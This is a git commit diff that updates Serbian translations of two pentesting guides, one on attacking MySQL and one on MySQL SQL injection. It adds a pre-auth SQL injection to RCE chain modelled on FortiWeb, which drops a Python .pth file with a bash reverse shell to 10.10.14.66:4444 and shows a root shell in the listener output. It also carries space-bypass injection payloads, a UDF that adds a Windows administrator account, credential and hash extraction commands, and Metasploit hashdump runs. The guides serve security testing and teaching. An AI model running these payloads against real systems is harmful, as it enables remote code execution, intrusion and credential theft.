Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/

This commit is contained in:
Translator 2025-07-14 08:42:15 +00:00
parent ff394742fb
commit 1ee930dec2
2 changed files with 92 additions and 26 deletions

View File

@ -1,10 +1,15 @@
# 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}
## **Osnovne informacije**
**MySQL** se može opisati kao open source **Relational Database Management System (RDBMS)** koji je dostupan bez troškova. Radi na **Structured Query Language (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
**MySQL** se može opisati kao open source **Sistem za upravljanje relacionim bazama podataka (RDBMS)** koji je dostupan bez troškova. Radi na **Strukturiranom jeziku upita (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
**Podrazumevani port:** 3306
```
@ -17,7 +22,7 @@
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### Удалено
### Udaljeno
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
@ -109,21 +114,58 @@ Možete videti u dokumentaciji značenje svake privilegije: [https://dev.mysql.c
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (konfiguracione kuke specifične za sajt)
Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje proizvoljnog koda* na ciljevima koji kasnije pokreću **Python** skripte.
1. Koristite `INTO OUTFILE` da postavite prilagođenu **`.pth`** datoteku unutar bilo kog direktorijuma koji se automatski učitava od strane `site.py` (npr. `.../lib/python3.10/site-packages/`).
2. `.pth` datoteka može sadržati *jednu liniju* koja počinje sa `import ` praćenom proizvoljnim Python kodom koji će se izvršavati svaki put kada se interpreter pokrene.
3. Kada se interpreter implicitno izvršava putem CGI skripte (na primer `/cgi-bin/ml-draw.py` sa shebang `#!/bin/python`), payload se izvršava sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuno pre-auth RCE).
Primer `.pth` payload-a (jedna linija, bez razmaka koji se mogu uključiti u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Primer kreiranja fajla putem **UNION** upita (prostorni karakteri zamenjeni sa `/**/` kako bi se zaobišao `sscanf("%128s")` filter za prostore i zadržala ukupna dužina ≤128 bajtova):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Važne ograničenja i zaobilaženja:
* `INTO OUTFILE` **ne može prepisati** postojeće datoteke; izaberite novo ime datoteke.
* Putanja do datoteke se rešava **u odnosu na MySQL-ov CWD**, tako da prefiksiranje sa `../../` pomaže da se skraći putanja i zaobiđu ograničenja apsolutne putanje.
* Ako je unos napadača izvučen sa `%128s` (ili slično), svaki razmak će skratiti payload; koristite MySQL komentare `/**/` ili `/*!*/` da zamenite razmake.
* MySQL korisnik koji izvršava upit treba da ima `FILE` privilegiju, ali u mnogim uređajima (npr. FortiWeb) usluga se pokreće kao **root**, što daje pristup za pisanje gotovo svuda.
Nakon što se izbaci `.pth`, jednostavno zatražite bilo koji CGI koji obrađuje python interpreter da biste dobili izvršenje koda:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Python proces će automatski uvesti zlonamerni `.pth` i izvršiti shell payload.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL proizvoljno čitanje datoteka od strane klijenta
U stvari, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Zatim, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
Molimo vas da primetite da je ovo ponašanje korišćenjem:
U stvari, kada pokušate da **učitate podatke lokalno u tabelu** iz **sadržaja datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
Molimo vas da obratite pažnju da je ovo ponašanje korišćenjem:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Обратите пажњу на реч "локални")\
Пошто без "локални" можете добити:
(Obratite pažnju na reč "local")\
Jer bez "local" možete dobiti:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Početni PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**U ovom radu možete videti potpunu opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -146,7 +188,7 @@ U konfiguraciji MySQL usluga, različite postavke se koriste za definisanje njen
- Postavka **`user`** se koristi za određivanje korisnika pod kojim će MySQL usluga biti izvršena.
- **`password`** se primenjuje za uspostavljanje lozinke povezane sa MySQL korisnikom.
- **`admin_address`** specificira IP adresu koja sluša TCP/IP konekcije na administrativnom mrežnom interfejsu.
- **`admin_address`** specificira IP adresu koja sluša na TCP/IP konekcijama na administrativnom mrežnom interfejsu.
- Varijabla **`debug`** ukazuje na trenutne konfiguracije za debagovanje, uključujući osetljive informacije unutar logova.
- **`sql_warnings`** upravlja time da li se generišu informacione stringovi za INSERT izjave sa jednim redom kada se pojave upozorenja, sadržeći osetljive podatke unutar logova.
- Sa **`secure_file_priv`**, opseg operacija uvoza i izvoza podataka je ograničen radi poboljšanja sigurnosti.
@ -214,7 +256,7 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### Izvlačenje MySQL kredencijala iz fajlova
### Izvlačenje MySQL akreditiva iz fajlova
Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint**
```bash
@ -224,7 +266,7 @@ Možete **koristiti ove akreditive za prijavu u mysql bazu podataka**.
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
Možete ih izvući tako što ćete:
Možete ih izvući tako što ćete uraditi:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
@ -234,9 +276,9 @@ Možete omogućiti logovanje mysql upita unutar `/etc/mysql/my.cnf` otkomentaris
![](<../images/image (899).png>)
### Korisni fajlovi
### Korisne datoteke
Konfiguracioni fajlovi
Konfiguracione datoteke
- windows \*
- config.ini
@ -253,12 +295,12 @@ Konfiguracioni fajlovi
- /etc/my.cnf
- Istorija komandi
- \~/.mysql.history
- Log fajlovi
- Log datoteke
- connections.log
- update.log
- common.log
## Podrazumevana MySQL Baza Podataka/Tabele
## Podrazumevana MySQL baza podataka/tabele
{{#tabs}}
{{#tab name="information_schema"}}
@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## Reference
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -52,7 +52,7 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
## Tok
Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information_schema.tables**_" za "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova).
Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information_schema.tables**_" sa "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@ -71,15 +71,15 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
### **Slepo dodavanje**
- `LPAD(version(),1...dužina(version()),'1')='asd'...`
- `RPAD(version(),1...dužina(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...dužina(version()))='asd'...`
- `SELECT LEFT(version(),1...dužina(version()))='asd'...`
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Otkrivanje broja kolona
Koristeći jednostavan ORDER
Korišćenje jednostavnog ORDER
```
order by 1
order by 2
@ -92,7 +92,7 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Unija Zasnovana
## MySQL Union Based
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
@ -101,7 +101,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Naučite ovde različite opcije za** [**zloupotrebu Mysql injekcije da dobijete SSRF**](mysql-ssrf.md)**.**
**Saznajte ovde različite opcije za** [**zloupotrebu Mysql injekcije da dobijete SSRF**](mysql-ssrf.md)**.**
## WAF bypass trikovi
@ -138,11 +138,33 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Više informacija na [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### Injekcija bez PROSTORA (`/**/` trik sa komentarima)
Neke aplikacije sanitizuju ili analiziraju korisnički unos pomoću funkcija kao što je `sscanf("%128s", buf)` koje **staju na prvom razmaku**.
Pošto MySQL tretira sekvencu `/**/` kao komentar *i* kao razmak, može se koristiti za potpuno uklanjanje normalnih razmaka iz payload-a dok se upit sintaktički održava validnim.
Primer vremenski zasnovane slepe injekcije koja zaobilazi filter razmaka:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
Koji baza podataka prima kao:
```sql
' OR SLEEP(5)-- -'
```
Ovo je posebno korisno kada:
* Kontrolisani bafer je ograničenog veličine (npr. `%128s`) i razmaci bi prerano prekinuli unos.
* Injektovanje kroz HTTP zaglavlja ili druga polja gde se normalni razmaci uklanjaju ili koriste kao razdvojivači.
* U kombinaciji sa `INTO OUTFILE` primitivima za postizanje potpunog pre-auth RCE (vidi odeljak o MySQL File RCE).
---
### MySQL istorija
Možete videti druge izvršenja unutar MySQL-a čitajući tabelu: **sys.x$statement_analysis**
### Verzija alternative**s**
### Verzija alternativa**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
@ -150,11 +172,12 @@ mysql> select version();
```
## Ostali MYSQL injection vodiči
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Reference
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../../../banners/hacktricks-training.md}}